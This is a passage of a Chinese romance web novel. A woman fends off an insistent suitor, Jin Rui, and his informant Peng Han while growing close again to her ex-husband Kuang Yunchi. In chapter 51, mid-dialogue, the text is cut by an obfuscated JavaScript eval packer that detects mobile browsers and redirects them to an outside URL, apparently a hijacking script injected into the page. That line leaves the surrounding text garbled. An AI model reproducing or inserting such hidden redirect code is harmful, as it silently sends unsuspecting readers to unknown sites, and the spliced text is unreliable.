挑了二十串黑五花放到炭火上,同时准备食盐辣椒孜然一类的调料,况允驰专注忙碌。 想帮忙,李十安站在炭火前翻烤黑五花。 风吹来,浓郁的白色烟雾飘向空中。 这阵风又没有固定方向,东一阵西一阵,吹得白烟打旋,时常会吹到李十安身上。 浓郁白烟扑面而来,随便吸一口都有够受的。 李十安用手掌散风,侧头悄悄咳嗽了两声。 况允驰薅走些许烟雾,拿过黑五花烤串,“你去帐篷,这里太呛。” 本来也不想添乱,李十安老实回到帐篷,坐在木凳上,煮茉莉花茶。 况允驰给黑五花抹油。黑五花被炭火烘烤,肥肉部分气泡爆炸,蹦出些许小油珠,险些溅到况允驰身上。 转身,李十安顺手从收纳箱里翻出一条围裙。 黑色麻布围裙,中间画着白色刀叉图案。 她把围裙递给况允驰,“穿上这个,免得衣服弄脏。” 况允驰犹豫片刻,没有行动。 大致能猜得到况允驰的心思。 露营地里人来人往,几处烤烧烤的地点,六七个烤烧烤的男男女女,没一个穿围裙的。 也许况允驰觉得不好意思?当着同事们的面穿围裙,没有面子? 于是李十安收回手,“不穿也没事,反正你衣服颜色深。” 今天况允驰穿的深卡其色卫衣,若是衣服粘上油,确实不明显。 思索片刻,况允驰放下了烤串,接过李十安手中的围裙,利落地套到身上,反手系好。 肩宽腰窄的行走的衣架,连围裙都穿得这般舒展。 李十安盯着况允驰看,笑道,“有那味了。” 况允驰问,“什么味?” “呃……厨师,高级厨师。”李十安搪塞。 其实想说的词语是人夫。 一个下班后顺道去菜场买菜回家的人夫。 像三年前那样。 白烟又升起,况允驰赶李十安回帐篷,“别待在这里。” 李十安顺从地回到原位,煮茉莉花茶,吃烤焦的小土豆。 隔了一阵,况允驰端来两盘烧烤,放到李十安面前。 除了烤黑五花外,还多了鸡爪鸡翅鸡腿,羊肉牛肉五花肉,土豆藕片韭菜茄子。 全是她爱吃的东西。 况允驰摆好餐盘,“你先吃,不够我再去烤。” 李十安嘀咕,“你真看得起我,我胃没那么大的。” 她尝一口黑五花,外酥里嫩,咸辣适宜,口感特别好。她喜欢这个味道,嘴里还没咽下,手上又拿起一串。 周森发来视频通话。是给况允驰发的,况允驰也很自然地接通。 周森问,“好玩吗?” 况允驰答,“嗯。” 况允驰不像常人那样,打视频时会举起手机面对自己。他是图方便,直接把手机搁在桌上。于是屏幕里只有他从下往上的一个视角。 也得是他才能抗住这种仰拍视角。 李十安手肘撑在膝盖上,饶有兴致地观察。 周森在视频那头撒娇,“给我看看环境呗。” 况允驰淡然道,“有什么好看的。” 李十安听着这段对话,头皮发麻。她惊讶,“你们男生经常这样打视频?” 没想到男生之间的视频通话是这样。她和许书妍是形影不离的闺蜜,但是她们几乎从不打视频。 周森听到了女生的声音,兴奋道,“有妹子!怪不得藏着掖着。” 李十安被周森这话弄得心慌。 瞄一眼况允驰,李十安擅自做主拿起手机,对视频那头打招呼,“森森,是我。” 周森兴奋的脸一下变得冷静,“喔,是你喔。” 李十安不服气,“怎么,见到我很失望?” “没啊。”周森嘟囔,“就是本来以为会有什么新鲜事。” 说完话,周森忽然想起来一件事,大大咧咧开口,“上次我组织露营,你不老在那儿问我,允驰怎么没去?” 李十安被呛得不行,连声咳嗽。 她故意把咳嗽声音弄得很大,试图覆盖周森的声音,掩饰尴尬。 周森仍在那头喋喋不休,“允驰没来,别说你了,我都特遗憾。” 李十安慌忙站起来,佯装信号不好,逐渐走向帐篷外,“啊?喔……什么?” 周森继续说道,“允驰那烧烤确实烤得特香。唉,这回你可吃到了?” 李十安搪塞,“吃到了吃到了。” 她回头望一眼帐篷。她已经离开得足够远了,到达安全范围。 忍不住想对周森翻白眼,又怕被周森追问,问她怎么忽然生气,那样岂不是会露馅更多。 周森没有察觉李十安的情绪,倒是察觉到李十安的背景。他催促李十安,“你把镜头翻转呢?给我看看环境。” 他原本也要参加这次郊游的,碰上去西安出差,只能忍痛放弃这次机会。 李十安嘀咕,“屁事多。” 翻转镜头,李十安挨着给周森介绍,“这边是营地,烤烧烤煮茶。那边是花海,开的蔷薇还是月季?我没看清。在那边是游戏……” 手机刚转向游戏区,屏幕里出现的不是游戏区的场景,而是况允驰。 况允驰正端着满满一盘烧烤,站在李十安面前。 李十安被吓一跳,慌忙挂断了视频。她问,“你怎么突然到这儿来了?” 况允驰端起盘子,“烤多了。” 李十安哭笑不得。 这况允驰也太刹不住车了,烧烤堆得满满当当,面上还有两个鸡腿。 四处观察了下,李十安挑了一处偏僻的角落,和况允驰一道坐在木桌边享用烧烤。 无奈好景不长,双方联络员那边召集集合,景和检验与景和制药的队员各自分开,拍照留痕,方便之后写信息。 拍着拍着,队员分开、合并、又分开,乱了套。 耽搁了好些时候,天色暗淡,该回城了。 李十安有意多等了一会儿,但没等到况允驰。 她先爬上了第二辆大巴车。 这一回,靠窗的单人座已经被别人占满了,李十安于是选了一个靠窗的双人座。 盯着窗外发呆。 陆续有人上车,路过身边,李十安没多在意。 直至一个人走来,单手搭在前排座椅靠背上,侧身,直接坐到了李十安身边。 侧头,看见了况允驰。 这下更心慌了。 兴许刚才是在户外,场景开阔,他们单独在一 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李十安先回一趟办公室拿包,顺便洗干净超级玛丽马克杯,放回办公桌。她是最后一个走出办公室的。 下了暴雨,弹珠似的雨滴密密麻麻砸下,在地面溅出水花。 李十安走到大厅。 临近前台时,她有意放慢脚步。 按照以往的经验,靳瑞可能会叫前台彭寒帮忙,把印有“靳瑞医疗”logo的大雨伞送给李十安。 李十安根本不想要,感觉有点瓜。她躲在圆柱后偷瞄,没发现彭寒的身影。 说来也怪,李十安有好些时候没碰见彭寒了。或许靳瑞换了另一个前台当他的小帮手? 李十安绕着三根立柱走,几乎是贴着落地窗前行。 快要到达正门,李十安意外看见了门边的况允驰。 况允驰手里拿着一把黑伞,但是没打开。他光是站在门边,并没有走出门外。 李十安把她的迷你口袋伞塞进了马蒙包。 她走上前,酝酿情绪,鼓足勇气。 想象中的画面是,她扯一扯况允驰的衣角,撒娇道,“我忘了带伞,可以和你一起打伞吗?” 结果太紧张了,脑海中模拟的姿态、语气,全都忘得一干二净。 现实的画面变成,她拍了一下况允驰的手臂,仰头道,“喂,我没带伞。” 撒娇莫名变成了理直气壮。跟□□要抢劫似的。 心里懊悔不已,但李十安面上仍要保持冷静。 况允驰递上伞,“给你。” 李十安懵了下,“那……你呢?” “我等雨小了再走,用不上伞。” “喔……”李十安不太能反应过来,懵懂地接过伞,打开,再懵懂地走进雨中。 她想的是和他一起打伞,怎么到头来成了她霸占他的伞,独自一人走在雨中? 神情恍惚。 走出没几步,况允驰忽然又从身后追来,钻进李十安的雨伞里。 带着他的松脂的香气。 “雨小不了了,”况允驰拿过伞柄,一本正经解释,“我和你一起走。” 李十安低头抿嘴偷笑,轻声嘀咕,“呆瓜。” 他们肩并肩走在春日少见的暴雨中。 路旁蓝花楹被雨滴拍下,流淌于潺潺雨水之上,编织成一抹蓝紫色的蜿蜒小溪。 走到园区外,走进对面小巷,路过一排小吃商铺。 红白条纹的雨篷支愣在雨中。 老板拿起长竹竿,戳雨篷的中央,试图把蓬顶积压的雨水翻出去。 这一翻,偏巧翻到他们的雨伞上。 像是突然下了一场瀑布。 李十安下意识往况允驰怀里钻,但没碰到况允驰的胸膛。 况允驰下意识伸手护住李十安,但没碰到李十安的头发。 伞面被这场小洪水冲击得打颤。 老板急忙收起竹竿,向他们道歉,“实在不好意思,刚才没看见你们,搞了这么一水。” 李十安和况允驰各自向后撤半步,分开。 好像余温还在四周环绕着。 明明下暴雨,但是李十安却热得不行。 那是一家乌鸡米线店。正是饭点,有人前来用餐,有人前来避雨。 门边还剩一张空桌。 他们索性坐到桌旁,点了两碗米线。 米线滑腻,酸菜爽口,汤汁鲜嫩。 李十安想喝一口汤。太烫,烫着她的舌尖了。她立即缩回脖子。 况允驰拿了一只空碗,找老板打了一碗新鲜的汤,放在李十安身边,等凉了再喝。 暴雨下得突然,停得也突然。 起先降为淅淅沥沥的小雨,后来索性连小雨也彻底停下,还原一片清澈透明的天空。 整座城市成为水中倒影。 夕阳浮现,金色的星子洒满人间。 况允驰轻声提醒,“十安,快看。” 李十安顺着况允驰示意的方向望去,看见了楼宇间、夕阳里,一道绚丽的彩虹。 盯着出了神。 好久没有看到过这样的画面了。 好像太久沉溺于电子世界,不知不觉忘记人间的模样。 然而就在刚才那一瞬间,看见彩虹的那一刻,心中忽然恍惚。 啊,原来我生活在这样的人间呐。 李十安看着远方,况允驰看着李十安。 良久,李十安有所察觉,收回视线。她问,“你看我干什么?” 况允驰应道,“你眼睛里有彩虹。” 李十安垂下眼眸,轻声嘀咕,“瞎说。” 她端起汤碗,拿起汤勺,假装认真喝汤,转移注意力。 刚喝一口,就有消息传来。 是靳瑞发来的消息。 [抬头,我在你对面。] 51. 香槟 李十安并没有明目张胆地抬头。 借着仰头喝茉莉花茶的间隙,她快速扫视店内一圈。 没有找到靳瑞。 不在店内。他靠得没有想象中那么近。 李十安继续吃一筷子米线,咀嚼咽下,顺手端起茶杯,再喝一口茉莉花茶。 这一次,李十安的视线往店外瞄去。 看见了靳瑞。 靳瑞站在小巷对面,一直盯着她。 莫名恐惧。 李十安强装镇定,放下茶杯,若无其事地挑米线。 她问况允驰,“你今天开车了吗?” 况允驰顿了下,应道,“开了,在园区车库。” “那我陪你回园区,你送我回家,可以吗?” 李十安这话说出口,没有一点俏皮打趣的意思,反而意料之外的正经。 现在只有和况允驰在一起,她才能摆脱靳瑞。 况允驰隐约间有所察觉。 他没多问,只简洁地回应李十安,“好。” *** 况允驰把李十安安全送到小区外,相互道别。 李十安独自回了家。 一直等到踏进家门后,李十安才松口气,拿出手机来有模有样地给靳瑞发消息:[不好意思才看到~] 她当然也知道这话看起来很假,不过只要能糊弄过去,假不假的她完全无所谓。 结果证明,靳瑞并不好糊弄。 他甚至一语挑破了这场假象:[晚上和况允驰一起吃饭?] 这让李十安怎么回答? 靳瑞分明在小巷对面看得一清二楚,李十安再怎么找补也无济于事。 明说吧,反正最近这段时间,一直在摊牌。 李十安:[对,我和他一起。] 靳瑞:[和他在一起很开心?] 一个疑问句,李十安读出了里面些许讽刺的意味。她胸腔里冒出一小股怒气。 李十安:[嗯,和他在一起特别开心。] 靳瑞:[怪不得你最近疏远我。] 有些迷糊,李十安总感觉靳瑞这句话透露着怪异。 她决定一次性解释清楚:[我想你误会了,我和你之间的事,跟他没有关系。就算没有他,我也决定和你只做普通朋友。我上次已经明确说过这件事了。] 她打完这段话,逐字逐句地挨个检查,确认无误后,点击发送。 对面回复得倒挺快:[才几天就帮他说话了?] 李十安一口血差点被闷出来。 她这哪是帮况允驰说话?她这分明是在实话实说。 这事的确跟况允驰没有关系。 单纯就是她和靳瑞之间磁场不合而已。 懒得解释了,话不投机半句多。 [我说的是实话而已。] [爱信不信。] 最后克制怒气发送完消息,李十安把靳瑞的对话框设置为免打扰,退出界面,眼不见为净。 就说和靳瑞磁场不合吧,聊天都聊不到一块去。 李十安眉头紧蹙。 以前感觉不强烈,现在觉得,靳瑞这个人,好像完全没办法融入她的生活。 *** 李十安有意避免和靳瑞碰面。 奈何由于工作的关系,他们总有那么一两次会相遇。 青山生物协会举办了一场周年纪念酒会,规模不小,邀请多家企业,其中包括景和制药、景和检验、景和器械,以及靳瑞器械。 李十安是被田凌昕派来的。 田凌昕觉得李十安这段时间有些辛苦,又是去景和制药帮忙,又是完成自己的检验任务。 忙碌这么些时候,趁机参加活动转变心情,也能放松放松。 李十安欣然答应。比起泡在实验室,偶尔出门放风,是个挺不错的选择。 到达会场后,李十安去冷餐区吃杨梅荔枝蛋糕,撞见周森正在附近尝长岛冰茶,喝一口,又换新加坡司令继续试一试。 李十安走过去,问道,“你们公司就来你一个?况允驰呢?” 周森转动香槟杯,上下打量李十安,“怪事,怎么每次你看见我,都要问我允驰在哪里?” “有吗?”李十安摸脖子,搪塞道,“你记错了吧?我只问了这一次吧?” 周森质问,“你老找他干什么?比起他,你见到我应该更高兴吧?” 李十安干笑两声,“高兴,高兴得很。” 担心周森再冒出什么虎狼之词,叫人承受不了,李十安于是端着杨梅荔枝蛋糕,趁周森不注意的时候,默默走开了。 李十安前脚离开,高西后脚到来。 高西原本想跟李十安打声招呼的。 自从高西选择去景和器械后,高西多半时间都待在南城,忙于工作疏于社交,和这群老朋友许久没见过面了。 “十安走得可真快。”高西凑到周森身旁,“你呢?最近可好?” 周森笑道,“我还能有什么不好的。”他替高西端来一杯长岛冰茶。 高西顺口又问,“况允驰呢?他没来吗?” 周森这下迷糊了,皱着眉,百思不得其解,“怎么你们看到我,都要问我允驰的情况?” 其实实际上,高西并不是有意要问况允驰的。只不过自打景和集团改革重组后,景和制药里高西只跟周森况允驰两个人稍熟悉一些。 他们是她的老友。 不过高西没解释那么多。她顺着周森的话头反问,“还有谁问起况允驰?” 周森微昂下巴,“喏。” 在周森示意的方向上,李十安正坐在高脚桌旁,左手拖着脑袋,右手滑动手机屏幕,百无聊赖刷着玩。 莫名想起了以前的事情。 高西开玩笑道,“诶,十安和允驰之间,会不会旧情复燃?” 周森疑惑,“旧情?” 高西咋舌,“他俩之前是夫妻,后来离婚了,你忘了?” 关于李十安和况允驰结过婚这件事,除了三年前的那群老友外,其余知道的人并不多。 这段往事,几乎没人提起,了解内情的人少之又少。 周森嘀咕,“我当然知道他俩结过婚……” 话音未落,附近响起嘈杂声音。 不知是谁弄洒了酒杯,杯子虽然没摔坏,但酒水洒了出来,还是引起了一些波澜。 服务员急忙赶来收拾残局,那人趁乱悄悄撤离了现场。 李十安看得清楚,那人是彭寒。 彭寒原本是他们景和检验的前台,前不久辞职了,不知去向。 没想到今天在这里又一次碰面。 周森还在那边嘀咕,“他俩结过婚是没错,只是……他俩当初有旧情吗?” 彭寒急匆匆从周森身后走过,有意听清了周森说的每一句话。 *** 酒会过半,靳瑞来了现场。 先是和相熟的商业伙伴打一圈招呼,算作完成社交任务,接着在彭寒的引导下,径直走向了李十安所待的角落。 他们没有解释,但李十安忽然间就明白了。 彭寒当初在景和检验当前台时,应该被靳瑞收编为眼线。 怪不得,那段时间李十安的一举一动,靳瑞全都一清二楚。 他原来找了人一直监督她。 前段时间彭寒离职,想来是进入了靳瑞器械。 看样子,彭寒估计当上了靳瑞的助理。 彭寒招呼酒保端来香槟,取一杯给靳瑞,再取一杯给李十安。 靳瑞语气柔和,“十安,我们有多久没见面了呢?” 李十安应道,“没多久,十几天而已。” 如果允许,她可以一直不见他。 她得想办法把这个想法体面地说出来。 靳瑞品一口香槟,淡然问,“这段时间,都和况允驰在一起吗?” 李十安心里顿一下。 分明说过很多次了,他们之间的问题,和况允驰无关,可靳瑞总是揪着况允驰不放。 她回应,“我非要跟谁在一起吗?我一直是一个人。” 本来想表现得云淡风轻的,可话一出口,不知不觉间就带上了些许怒气。 彭寒听不出李十安的怒气。 相对于照顾李十安的情绪,彭寒更倾向于揭开关于李十安的真相。 彭寒温和笑着,直接质疑李十安的说辞,“一个人吗?我可是常听人说起,总能看见你和况允驰在一起。” 这一句突然插话,让李十安措手不及。 她一向认为她和靳瑞之间的问题,就该他们两个当事人解决。 结果现在不仅冒出了况允驰,还冒出一个彭寒。 李十安偷瞄靳瑞的反应。 靳瑞没有任何反应。 按照靳瑞的性格,竟然允许下属插话?亦或者,下属的话正是他的意思? 李十安不愿把况允驰卷进来,搪塞道,“偶尔会碰见他,就一起吃个饭。” 彭寒嬉笑着,“只是吃饭吗?没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799258|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有搞……旧情复燃什么的?” 李十安没听懂,“嗯?” 彭寒有意说得顺畅自然,“你和况允驰不是结过婚么?后来又离了?” “啊?” 听到结婚离婚这一类八卦词语,周围陆续聚集了三五人,看热闹。 彭寒更来劲了。 “诶——靳总还不知道这件事吧?”彭寒笑道,“怪不得他们俩老待在一起,原来是前夫前妻在交流感情。你不会不承认吧,十安?” 略带讥讽地等待着李十安的回答。 李十安忽然理清楚了,自从景和生物合并重组后,景和检验与景和制药两个公司,内部的人几乎都变成了新人,算是一个全新的环境。 除了许书妍和周森外,没有人知道李十安和况允驰的往事。 其实不是有意要隐瞒的。 准确说来,李十安只是没有想起要说这件事而已。 总不能抓着一个人,就大声告诉对方,“我结过婚”这样吧? 但既然彭寒主动提起,李十安便也顺着话头继续。 “对,我和他结过婚。”李十安坦然道,“我和他还曾经有过一个孩子。” 这次换作彭寒愣住了。 只听说李十安和况允驰结过婚,但没听说过他们之间竟然还有一个孩子。 “这……” 彭寒看向靳瑞,想等待靳瑞的指示。 靳瑞没有任何指示,沉稳地品着香槟。 李十安看出了彭寒的尴尬,问道,“怎么,这是不能说的吗?” 彭寒支支吾吾,“这种不太好的私事……” 李十安截断了彭寒的话,“不太好是什么意思?你觉得是人生污点吗?” 不可能是人生污点,李十安心想,况允驰绝不是她的人生污点。 她向彭寒走近一步,“听清楚,况允驰是一个特别特别好的人,我从不后悔和他有过一段夫妻感情。” 她看一眼彭寒,转而看向靳瑞。 “这件事我从未想过要隐瞒,任何人问我,我都会光明正大地回答,对,我和况允驰结过婚。” 李十安的声音慷锵有力,引来了附近小范围的围观。 没有退缩。 她直视靳瑞的眼睛,“你明明可以直接问我,却偏偏选择借旁人的嘴巴,阴阳怪气地说出来,不觉得很小气很可笑吗?” 靳瑞试图拉一把李十安的手腕,“十安,我不是这个意思……” 李十安利落地甩开了靳瑞的手,留下一个厌恶的神情,不耐地转身离开。 靳瑞侧头,瞪着彭寒。 彭寒有些被吓到,“靳总,我只是想把我调查到的事情及时告诉您。” “你都能调查到的事情,我还能不知道?”靳瑞压低声音,警告彭寒,“别自作聪明。” 靳瑞追了出去。 追到会场外,拦截李十安的去路。 “十安,刚才的事只是一场误会。”靳瑞急忙解释。 “误会?”李十安尽量让语气显得平静,“难道不是你和彭寒策划的一场双簧吗?” 靳瑞否认,“我没那么无聊。” 他确实没有策划这一出戏,不知道彭寒会这样向李十安挑明。 只不过,事实上他也没有制止彭寒。 李十安并不相信靳瑞的辩解。她把话说得更加直白,“靳瑞,实事求是地讲,是你追我的。” 她想不明白,不应该是由追求者来展现真诚才对吗? 怎么变成要求她这个追求者,需要毫无保留地坦白自己的隐私过往? 主客顺序是不是颠倒了? 李十安补充,“并且我还没有答应你。” 没有答应靳瑞的追求,代表着李十安和靳瑞从头到尾都没有确定关系。 既然没有确定关系,那就代表着她拥有拒绝靳瑞的权利。 不是靳瑞追她,她就必须答应吧? 李十安把话说得更直白些,“靳瑞,我已经说过好几次了,我们之间的接触到此为止。” 她的神色严肃,“你还没明白吗?连你的助理都看出来我们不合适,我们真的算了吧。” 靳瑞试图挽留,“你何必在意他说什么。” 李十安烦闷至极,不愿意再多说一句话,“算了。” 她把拒绝表现得很明显,撇下靳瑞独自离去。 靳瑞面对李十安清冷的背影,脑海里产生了一个念头。 他们之间的关系出了问题,他必须要有所行动。 52. 慕斯 靳瑞组了一个特殊的局,邀请了景和制药的纪总、魏总、大郑主任、小郑主任做客,以及靳瑞器械的几个高层作陪。 当然,还有饭局最重要的主角,况允驰。 饭局的主题是企业间沟通交流,增进感情。 饭局的前半程也是严格围绕主题进行的,你一言我一语,其乐融融。 靳瑞话多丰富,左右逢源,算是饭桌上的核心人物。 况允驰没怎么说话,在饭桌上弱化存在感。 他原本就话不多,这点景和制药的人全都知道。 他对于成为饭桌的焦点也并无兴趣。只有当谈话内容涉及他时,他才会礼貌性地回复几句。 一个核心,一个边缘,理论上是毫不相关的两个人。 酒过三巡,靳瑞器械一个姓甘的经理,忽然把话题转到靳瑞的感情生活上,“靳总,今天这么好的天气,怎么没带嫂子出来?” 纪总来了兴致,“什么嫂子?谈上了?” 甘经理笑道,“说起来,还和纪总你们扯上关系呢——就是你们隔壁景和检验的美女,叫李十安。” 况允驰抬眸,看向靳瑞。 靳瑞也正笑着看着他。 小郑主任喃喃,“李十安我认识,我记得她好像是单身吧?” 大郑主任嘀咕,“李十安这个名字,我好像在哪里听过。” 甘经理担心把话说得太过,补充了一句,“两个人正打得火热。他们站一起,那叫一个养眼。” 纪总故意打趣,“喔?打得有多火热?” 靳瑞敬了纪总一杯酒,娓娓解释,“不瞒纪总,其实最近我和十安之间,遇到了一点障碍。” 纪总捧场,“喔?吵架了?” “不算吵架,只是……”靳瑞有意停顿,直接把箭头划向况允驰,“允驰对我们十安也很有兴趣,是么?” 况允驰靠着椅背,眼神冷淡。 纪总更来了兴趣,“喔?还有这回事?” 甘经理在一旁搭腔,开玩笑道,“俊男靓女的爱情路,总要受点挫折。” 这话有种挑起战争的意味。 桌上的人被拨动兴奋的神经,不约而同望向况允驰。 况允驰平静如常。 靳瑞儒雅笑道,“允驰,别误会,我没有恶意,我只是想简单了解下,你具体是什么样的想法?” 边说边比划,“横空插一脚?或者是……男小三?” 话说得够直白,目的够明显。 纪总悠然自得地品着菌菇汤。他当然知道李十安是谁,也知道李十安和况允驰的关系。 只是这么点小事,又算是私事,况允驰还不至于处理不了。 况允驰转动茶杯,缓缓开口,“男小三的前提,是对方两个人已经确定在一起了。你在追求十安,但是十安答应你了吗?” 靳瑞没开口。 谎言很容易被戳穿,不如缄口不言。 况允驰淡然道,“你没必要费尽心思编排故事。男小三也好竞争者也罢,我们之间的角色,只有十安说了才算。” 靳瑞脸色不大好看。但碍于情面,他一时只能附和,“允驰说的在理。” 饭桌上的气氛变得稍显怪异。 大郑主任咀嚼一只鲍鱼,眉头紧锁,沉思良久。 终于想到什么,大郑主任恍然大悟,“想起来了,上次在总部峰会上见过,李十安上台发言来着。” 纪总配合附和道,“喔?长得特别乖的那个?” “对。” “看不出来,这小姑娘还有两把刷子。”纪总笑道,“桌上这两位青年才俊,多少美女眼巴巴地扑上去?这小姑娘倒好,反倒挑起来了。” 说罢,饭桌上的人都笑了,觉得年轻人之间这段特别的缘分,也算有趣。 靳瑞也跟着笑了笑,维持体面。 可心里总不是滋味。 *** 靳瑞加大了和李十安的接触力度。 他包了凡希酒店的顶楼花园,举办一场派对,并按照李十安的喜好布置了白色桔梗花和蓝色气球,以及漫天柠檬黄小灯串。 “有烤串小食甜品水果沙拉,还有冰镇威士忌,都是你喜欢的口味。” 李十安当然是拒绝,“我很累,不来了,你们玩得开心。” 靳瑞轻声道,“我把彭寒开除了。” 怎么莫名说起这个事。 李十安稍有些惊讶。她和彭寒发生过一点小争执,他就因此把彭寒开除了吗?这是在为她报仇? 不至于,她不至于喜欢这种幼稚的特权。 她正色道,“不是彭寒的原因,是我真的累了,就这样吧。” 利索挂断电话,李十安还以为事情就此结束。 没想到转眼之间,靳瑞竟委托许书妍,前来劝说李十安。 “搞得挺隆重的,”许书妍坐在李十安工位旁嗑焦糖瓜子,“叫了一堆人,就为了陪你。” 李十安嘀咕,“叫了一堆他的朋友来陪我?怎么不叫我的朋友。” 那群靳瑞的朋友对李十安而言,约等于陌生人。和一堆陌生人玩,李十安压根不自在。 许书妍评论,“说实话,他还真挺执着的,一直不放弃。” 李十安愁眉苦脸,“我就想不明白了,他怎么还不放弃?”她转头问许书妍,“书,我说话很难懂吗?” 许书妍没听明白,“什么意思?” 李十安转换一种说法,“就是说,我的表达能力没问题吧?” “肯定没问题。”许书妍把瓜子壳丢到铺在桌面的一张纸巾上,继续嗑下一颗瓜子,“你上次写的那篇郊游活动报告,不给刊登在《景和生物》首页了么?笔杆子,那可牛得很。” “就是说,总之我的表达能力没问题,对吧?” “就是说,对的。” 李十安越想越郁闷,“那为什么……我已经至少五次跟他直说过,我们俩不合适,不要再接触了。可他为什么就是听不懂?” 许书妍被逗笑了,“我不想听的事情,我也假装听不懂。” “天菩萨,有没有搞错。” 因为没有处理过这种关系,不知道别人是怎么解决的。 李十安只是觉得,作为受过教育的成年人,看清了自己的心意后,还是应该跟对方讲清楚,起码有个体面的告别。 可现实操作起来,怎么这么难。 许书妍嗑完最后一颗瓜子,拍掉手心的残渣,“要不这样,这次我陪你去party,和他面对面,帮你把话说清楚。他要是还听不进去,你就直接拉黑算了。” 李十安想了想,似乎确实只有这么一个办法了。 最后再向靳瑞摊牌一次。 不行的话,就实行物理隔离——拉黑。 *** 周森原本计划组局吃小龙虾,无奈许书妍临时有事,不能赴约。 况允驰在一旁,顺口问了一句,“她有什么事?” “参加什么party,”周森喃喃,“靳瑞办的。” 况允驰莫名有些警惕。他又问,“十安也去?” “嗯,书妍就是特地陪十安去的。” 况允驰微蹙眉,心神不宁。 *** 李十安和许书妍到达顶楼花园时,派对已经开始了。 靳瑞亲自到门口迎接,“十安,走这边。” 带李十安穿过人群,一路上不免要与其他人打招呼。靳瑞一如往常般自在随和,李十安却稍显别扭 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靳瑞正在商业伙伴之间左右逢源、谈笑风生、应接不暇,总之是没空照顾李十安这边。 许书妍挖一勺慕斯冰淇淋,嚼得津津有味,“我不信他随时都忙。我们先看着吧,一找到间隙,就插进去跟他说清楚。” 她们时不时就往靳瑞的方向瞄去。 靳瑞被盯得这么紧,自然会有所察觉。 大致招呼一遍后,靳瑞放下香槟杯,朝她们的方向走来。 许书妍小声提醒,“他来了。” 靳瑞穿着白衬衣黑西裤,身高腿长,光靠外形就能吸引一片目光。 走到哪里都能成为焦点。 在众人的注视下,靳瑞走到了李十安身边。 原本是一对俊男靓女的养眼组合。 靳瑞正要开口,偏巧正在这时候,李十安的手机响了起来。 是一个陌生来电。 若是往常,李十安只会把陌生号码当作推销电话,直接挂掉。 但今天不知怎么回事,李十安凭借一丝隐约的直觉,接通了电话。 “喂?” 电话那头传来的是况允驰的声音。他们都能听见。 况允驰的声音稍显疲惫,“十安,抱歉,我只背得你的电话。” 李十安警觉,“怎么了?你在哪里?” “在地铁站,月照山站。我手机掉了,身上也没带现金。”况允驰顿了下,轻声道,“你能来接我吗?” 月照山已属近郊,离市区有一定的距离,不可能步行回来。 如果身上没有手机也没有现金,就代表不能乘坐地铁、公交、出租这一类的交通工具。 那就意味着况允驰被困在月照山了。 李十安有些担忧。她没有犹豫,“你就在那里等我,我马上来。” 靳瑞出口阻拦,“十安……” 李十安没有看靳瑞一眼,意欲转身。 靳瑞再开口,“十安,别去。” 他伸出手,想要抓住李十安的手腕。许书妍侧身一步,挡在靳瑞身前。 “靳总,上次托你帮忙那件事,你看……”许书妍笑意盈盈。 靳瑞往左半步,许书妍照样往同样的方向挪半步,严密防护。 众目睽睽之下,靳瑞不便与许书妍过多纠缠,只能停留在原地。 他问,“哪件事?” 许书妍胡诌,“就是你们公司研发的那个光疗仪,我想借来试一试,你忘啦?” “喔?喔。”靳瑞敷衍着,目光一直追随在李十安的背影上。 李十安没有回头。 53. 端午 李十安跑进月照山地铁站,在角落里找到了况允驰。 况允驰正坐在最末的一处台阶上。微垂头,浑身是血迹。 李十安被吓得不轻,蹲在况允驰身前,“你这是怎么了?” 况允驰轻轻耸鼻,“没事,流鼻血而已。” “流这么多?” 李十安控制不住,伸手捧着况允驰的脸颊,指腹抚过。血迹已经干涸,看来有一段时间了。 她问,“还痛吗?” 他答,“有一点。” 其实根本不痛的。 流鼻血只是一场意外。 路过的人、地铁站工作人员,看到况允驰流鼻血,全都向况允驰伸出过援手,递给他纸巾。可他一张也没要。 他扯过衣角来擦鼻血,米色宽松T恤上留下些许可怜兮兮的血迹。 工作站那边有人在喊,“况先生的手机。” 李十安回头望一眼,站了起来,“我去拿。” 去工作站那边取回手机,李十安先检查一遍确认没有损伤,再交给况允驰检查。 她问,“怎么丢的?” “太累,睡着了,坐地铁坐过站。”况允驰解释,“手机放在旁边,下车的时候忘了,出不了站。” 李十安坐到况允驰身边,“看看,有什么损失吗?” “没有。”况允驰稍侧身,“谢谢。” 李十安又问,“鼻血呢?怎么忽然流鼻血?” “可能因为换季,不严重。” 李十安沉默了一刻,平复心绪。 不严重就好。 在这之前,她不知道她的情绪竟然会被况允驰牢牢牵引,忽上忽下,泛起涟漪。 他真的把她吓到了。 过了些许时候,李十安恢复到冷静的状态,站起来,“走吧,我送你回家。你住蔚蓝湖?” 况允驰否认,“没,我住南汀。” 李十安愣了下,应道,“好。” *** 李十安开车,况允驰坐副驾,在夜色里缓慢离开月照山。 春夜晚风,静谧温柔,李十安却没办法真正放松下来。 她随时观察况允驰的状态,“开空调吗?22度?还是吹自然风?要不吹自然风吧。” 况允驰点头,“嗯。” 李十安打开车窗,让晚风轻抚过脸庞。 驶过一段路,况允驰察觉不对劲,微低头。一滴鼻血掉在他的胸膛前。 又流血了。 李十安急忙叮嘱,“快仰头。” 况允驰听话地仰头,用李十安递来的纸巾擦拭鼻血。 他们已经到了李十安家附近。 李十安在一家熟悉的诊所旁靠边停车,带况允驰下车,“这家医术好,让她给你看看。” 带况允驰走近诊所,拜托医生替况允驰简单治疗。李十安在一旁耐心等待着。 治疗过程并没花费多长时间。 一切结束后,李十安预备按照原计划,继续送况允驰回家。 她已经走下了诊所外的三级台阶。况允驰跟着走来,脚步缓慢。 “十安。”况允驰低声道,“我这身太狼狈,能先去你家简单收拾一下吗?” 李十安愣了,“啊?……嗯。” 她也不知道自己怎么一开口就是答应,是一种迷迷糊糊的状态。 等到反应过来时,她已经带着他往自己家的方向走了。 懵懵懂懂带他回家。 站在鞋柜前,李十安挑了双黑色男士拖鞋,是上次她爸爸来时穿的拖鞋。 